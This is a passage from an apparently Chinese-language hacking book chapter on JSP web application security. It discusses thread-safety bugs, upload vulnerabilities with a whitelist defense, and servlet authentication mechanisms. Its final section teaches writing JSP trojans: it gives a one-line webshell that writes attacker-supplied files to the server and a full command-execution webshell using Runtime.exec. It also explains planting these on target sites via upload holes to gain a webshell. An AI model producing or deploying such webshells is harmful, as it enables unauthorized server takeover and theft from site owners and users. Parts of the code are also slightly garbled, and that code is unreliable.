      量。因为实例变量是在堆中分配的,被属于该实例的所有线程共享,不是线程安全的,而局部变量在堆栈中分配,因为每个线程都有它自己的堆栈空间,所以这样线程就是安全的了。比如凌云论坛中添加好友的代码如下所示:

      public void addFriend(int i, String s, String s1) //添加好友 throws DBConnectException

      {

      try

      {

      if…… else

      {

      DBConnect dbconnect = new DBConnect("insert into friend (authorid,friendname) values (?,?)");

      dbconnect.setInt(1, i); dbconnect.setString(2, s); dbconnect.executeUpdate(); dbconnect.close(); dbconnect = null;

      }

      }

      catch(Exception exception)

      {

      throw new DBConnectException(exception.getMessage());

      }

      }

      下面是调用:

      friendName=ParameterUtils.getString(request,"friendname"); if(action.equals("adduser")) {

      forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName); errorInfo=forumFriend.getErrorInfo();

      }

      如果采用的是实例变量,那么该实例变量属于该实例的所有线程共享,就有可能出现用

      户 A 传递了某个参数后他的线程转为睡眠状态,而参数被用户 B 无意间修改,造成好友错配的现象。

      所以大家在分析 JSP 程序的时候也要注意看这写线程的问题,有的时候造成的危害也是比较严重的。

      3、 上传文件安全问题

      在 ASP 和 PHP 中都为大家介绍了上传漏洞,同样,在 JSP 中如果对上传文件的后缀处理的不当的话,也会发生上传漏洞。对于如何寻找上传代码的漏洞,JSP 中和 ASP 及 PHP 是一样的,比如看是否可以上传 jsp、pl、asp、cer 等后缀,还有就是看上传时处理的变量是否过滤了,如果没有过滤还可以修改变量,欺骗计算机,使得我们上传 JSP 木马。

      这里还是提一下,在 JSP 中如何防御上传文件时的漏洞。前面给大家介绍了主动防御

      的思想。在 JSP 系统中也同样使用,这个方面鲤鱼论坛做的比较好,代码如下所示: function upload() //上传文件处理函数

      {

      var filename = document.mainform.file.value; filename = filename.toLowerCase();

      var accept = false;

      accept |= (filename.indexOf('.zip')>-1); //判断后缀名,进行匹配 accept |= (filename.indexOf('.rar')>-1);

      accept |= (filename.indexOf('.doc')>-1); accept |= (filename.indexOf('.txt')>-1); if(!accept)

      {

      alert("请选择允许上传文件:.zip,.rar,.doc,.txt!"); document.mainform.file.focus();

      return false;

      }

      return true;

      }

      </SCRIPT>

      <%

      String StrLoad = request.getParameter("upload"); //获取上传的数据 String TempName = "", errMsg = "", strFileName = "";

      String allowFileList = "zip,rar,doc,txt"; //允许上传的后缀 int fileSize = 0;

      try{

      if((StrLoad!=null)&&(StrLoad.equals("up"))){ mySmartUpload.initialize(pageContext); mySmartUpload.setTotalMaxFileSize(2000000); mySmartUpload.setMaxFileSize(2000000); //设置上传文件的最大值 mySmartUpload.setAllowedFilesList(allowFileList); mySmartUpload.upload(); //调用上传处理函数

      可以看到上面的代码中,它只允许上传 zip、rar、doc、txt 这四种后缀名,而其他的所有后缀名都被拒绝上传了。这样主动性的去允许上传文件的类型,使得我们根本就没办法突破这个防线上传其他的文件。比如我上传一个 JSP 木马,就弹出一个对话况,如图 13-31所示,里面显示着“请选择允许上传文件:.zip,.rar,.doc,.txt!”。

      image

      图 13-31 允许上传的类型

      4、 JSP 安全编程技术

      在 JSP 系统的开发过程中,已经为我们提供各种安全编程技术。利用它们可以很大程度上提高系统的安全性,下面就简单为大家介绍 JSP 中的各种安全编程技术。 (1)、Declarative Security

      Declarative security 指的是表达一个应用的安全结构,包括角色,存取控制,和在一个应用的外部表单所要求的验证。在 WEB application 中发布描述器是实施 declarative security 的一种主要的工具。发布者把 Application 所要求的逻辑完整性映射为在特定运行环境下的安全策略。在运行时,Servlet container 使用这些策略来强迫验证。

      (2)、Programmatic Security

      当 Declarative Security 不能够完全表达一个 Spplication 的安全模型时,就可以使用 Programmatic Security。Programmatic Security 包括 HttpServletRequest 接口的下列方法:getRemoteUser 方法返回经过客户端验证的用户名。IsUserInRole 向Container 的安全机制询问一个特定的用户是否在一个给定的安全角色中。GetUserPrinciple 方法返回一个 Java.security.Pricipal 对象。这些 APIs 根据远程用户的逻辑角色让 Servlet 去完成一些逻辑判断。它也可以让 Servlet 去决定当前用户的主要名字。如果 getRemoteUser 返回 NULL 值( 这意味着没有用户被验证 ),那么 isUserInRole 就总会返回 False, getUserPrinciple 总会返回 NULL。

      (3)、Roles

      一个Roles 就是由Application Developer 和Assembler 所定义的一个抽象的逻辑用户组。当一个 Application 被发布的时候,Deployer 就把这些角色映射到在运行环境中的安全认证,例如组或规则。一个 Servlet container 能够为规则执行一些说明或编程安全,这些规则是与调用这些 Principal 的安全属性所输入的要求相联系的。例如:当 Peployer 把一个安全角色映射为操作环境下的一个用户组,调用 Principle 所属的用户组就从安全属性中获得。如果 Principle 的用户组与在操作环境下的用户组相匹配,那么 Principle 就是一个安全角色;当Deployeer 把一个安全角色映射为一个在安全方针域中的Principle 名时,调用 Principle 的确 Principle 名就被从安全属性中提取出来。如果两者相同的话,调用的

      Principle 就是安全的。

      (4)、Authentication

      一个 WEB 客端能够使用下面的一种机制来对 WEB 服务器验证一个用户:HTTP Digest Authentication;HTTPS Client Authentication;HTTP Basic Authentication;HTTP Based Authentication。

      (5)、HTTP Basic Authentication

      HTTP Basic Authentication 是一个定义在 HTTP/1.1 规范中的验证机制。这种机制是以用户名和密码为基础的。一个 WEB Server 要求一个 WEB Client 去验证一个用户。作为

      Request 的一部分,WEB Server 传递Realm 的字符串,用户就是在它里面被验证的。

      小提示:Basic Authentication 机制的 Realm 字符串不一定反映任何一种安全方针域。 WEB Client 得到这些用户名和密码,然后把它传递给 WEB Server。WEB Server 然后在一个特定的领域验证这些用户。由于密码是使用一种 64 位的编码来传递,而且目的 Server 没有

      验证,所以 Basic Authentication 不是一种安全的验证协议。

      (6)、HTTP Digest Authentication

      HTTP Digest Authentication 根据用户名和密码验证一个用户,然而密码的传输是通过一种加密的形式进行的,这就比 Basic Authentication 所使用的 64 位编码形式传递要安全的多。由于 Digest Authentication 当前不被广泛使用,Servlet Containers 不要求支持它但是鼓励去支持它。

      (7)、HTTPS Client Authentication

      使用 HTTPS(HTTP over SSL)的终端用户验证是一种严格非验证机制。这种机制要求用户去处理公共密钥证明(Public Key Certification PKC)。当前,PKCs 在e-commerce 应用中是有用的。不适应 J2EE 的servlet containers 不要求支持 HTTPS 协议。

      (8)、Server Tracking of Authentication InFormation

      就像映射在角色中的安全标识一样,运行环境是环境的说明而不是应用的说明。在 WEB

      application 的发布环境创建一个登录机制和策略; 对发布在同一个 Container 的

      Application 能够使用同样的验证信息来代表这些 Application 的 Principal;仅仅当通过安全策略域时要求用户重新验证。因此,一个 Servlet Container 要求在Container 层来跟踪这些验证信息,而不是在 Application 层。允许一个经验证的用户拒绝一个使用其它资源的 Application,这些是通过受同样安全性标识限制的 Container 管理的。

    4. JSP木马编写技术

不管是注入还是上传,我们首先都是为了得到 webshell。要得到 webshell 当然是要用到 JSP 木马了,所以本节就来简单讨论一下 JSP 木马的编写技术。

ASP 和PHP 都有一句话木马服务端,虽然目前 JSP 中并没有一个普遍的一句话服务端,不过我们仍然可以自己写一个具有一句话木马服务端功能的代码,如下所示:

<%

if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f")

)).write(request.getParameter("t").getBytes());

%>

上面的服务端中的参数 f 如果不为空,那么就通过参数 f 获取我们客户端提交过来的数据。我们可以这个服务端插入到网站的 JSP 文件中,然后提交一个大马进去。比如我们将这个服务端插入到 http://www.xxxx.com/xx.jsp 中,则我们要使用这个木马就应该输入 http://www.xxxx.com/xx.jsp? f=shell.jsp&t=木马的内容。其中,shell.jsp 就是我们生成的新文件,而木马的内容则就是我们要写入到 shell.jsp 文件中的内容,所以当我们打开

http://www.xxxx.com/shell.jsp 就是一个木马了。当然,参数 t 也是支持 URL 的,和文件包含漏洞是一样的。

这里给大家接受一下 f 和 t 这两个参数,其中参数 f 是用来在服务器中生成文件的文件名,而参数 t 是用于接受所提交的数据。

对于这个一句话木马,我们可以这样利用。首先还是一样,将这个服务端插入到 JSP

网站中的 jsp 文件中,而且记住这个文件的文件名,这里假设我们插入了服务端的文件的

URL 地址是 http://www.xxx.com/article.jsp。插入服务端成功之后,就是接下来就是要将我们大马传到 JSP 网站中去从而得到 webshell。

这里我们提交 http://www.xxx.com/article.jsp?f=shell.jsp&t=http://www.xxx.co m/shell.txt。其中 shell.jsp 就是我们在服务器中生成的文件,即 JSP 木马文件名。而参数 t 的值为 http://www.xxx.com/shell.txt 是我们 JSP 文件的代码,当然 t 参数的值也可以直接是 JSP 的代码,这里即支持通过 URL 提交木马代码也支持直接提交 JSP 木马代码。和我们前面所讲的 PHP 中的文件包含漏洞比较类似。当成功提交之后,我们就可以得到了一个 JSP 的webshell 了。

在 ASP 中为大家介绍了 DIY.asp 小马,其实,在 JSP 中同样可以实现一个小木马。例如下面给大家编写一个具有 CMD 功能的小马,其代码如下所示:

<%@ page contentType="text/html; charset=gb2312"%>

//这里表示的是文字的 gb2312 编码方式,添加了这行代码就能够显示中文,否则现实乱码

<%@page import="java.io.*" %>

//引入 JAVA 的 IO 包文件,因为后面要用到 StringBuffer 类的 I/O 操作,所以要包含这个包

<%

String cmdshell=request.getParameter("cmd");

//获得客户端中输入的 cmd 的参数值,并把它赋给 cmdshell String order="";

//定义初始值为空的字符串 order,它是我们在输入框中输入的命令 StringBuffer buffer=new StringBuffer("");

//定义一个StringBuffer 类,其作用是读取我们在输入框中输入的命令,并返回结果 if(cmdshell!=null) //如果我们在输入框中输入了参数就执行下面的代码

{

try //在这里引入了异常处理机制,以防止发生意外导致系统崩溃

{

Process pro=Runtime.getRuntime().exec("cmd /"+cmdshell);

//这里我们建立一个 Process 对象,并利用该对象的 Runtime 的 exec()方法执行输入的命令,核心代码

BufferedReader buf=new BufferedReader(new InputStreamReader(pro.getInputStream()));

//建立一个BufferedReader 对象,用来读取我们输入的命令 while((order=buf.readLine())!=null)

{

buffer.append(order+"\r\n"); //获取到的命令追加到变量 order 的后面并换行

}

}

catch(Exception e)

{

System.out.println(e.toString()); //如果发生异常了,就把异常情

况打印出来

}

}

else

{

}

%>

cmdshell="dir c:/" //默认情况下输入的是 dir c:/

<form name="cmd" action="" method="post"> //定义一个表单,名称为 cmd,方法为 post &nbsp; //空格

<input type="text" name="cmd" value="<%cmdshell%>" size=50>

//为一个输入框,用于我们输入命令

<input type=submit name=submit value="执行命令"> //提交我们输入的命令

</form>

<%

if(buffer!=null&&buffer.toString().trim().equals("")==fale)

{

%>

&nbsp; //空格

<textarea name="MyView" rows="20" cols="100"><%=buffer.toString()%></textarea>

//定义一个输入域,用于显示我们执行令名后返回的结果

<br> &nbsp;

<%

}

%>

上面的代码就能够完成与 ASP 中 diy.asp 小马同样的功能,我们把这个小马放入到网站中,如通过上传漏洞上传等等。打开之后我们就能够往输入框中输入命令了,命令执行完毕之后,结果就返回到输入域中。

对于一个完整的 JSP 木马来说,功能不仅仅是上面所演示的执行命令。还有比如对文件的管理、操作、新建等功能。不过这些功能只需要用到普通的 JSP 文件操作函数即可完成,一般的 JSP 探针或者管理工具都会用到上面的这些知识。不过要完成复杂的功能就必须要用到 JAVA 的知识,因为这里我们并没有过多的提及 JAVA 的知识,所以如果我在分析功能强大的 JSP 木马的话,肯定很多朋友看不懂。所以,经过我与土豆的商量,决定就编写一个小马给大家,大马的分析就不讲了。大家只需要学会怎么使用大马就可以了,如果对大马感兴趣,甚至想自己编写一个的话,那么先还得对 JAVA 很熟悉。

对于 JSP 程序的安全问题我们就讨论到这里了,上面基本上提及了目前 JSP 存在的各种安全问题。不过大家应该明白,JSP 发展非常的迅速。仅仅掌握我给大家的那点知识是远远不够的,因为 JSP 往往是一个系统的一部分,例如银行常常采用 J2EE+JSP+Oracle+Unix来架构。如果仅仅掌握 JSP 是很难对整个系统有一个把握性的掌握的。所以大家要不断学习,

掌握新的技术,这是一名优秀的黑客所具有的最基本的素质。

声明:本章中的部分内容引用了互联网的内容,是通过 Google 搜索到的,比如引用了 http://www.huachu.com.cn/bbs/dispbbs.asp?boardID=15&ID=43440 的《JSP 论坛安全之旅》部分内容,以及安全焦点的《JSP 安全编程实例浅析》部分内容,非常的感谢这些优秀的文章的作者,版权依然属于他们。

你从本章可以学到如下几点:

1、JSP + Oracle 手工注入详细过程

2、JSP 系统跨站漏洞详细分析

3、配置不当引起的敏感信息泄露问题

4、JSP 系统上传漏洞分析与利用过程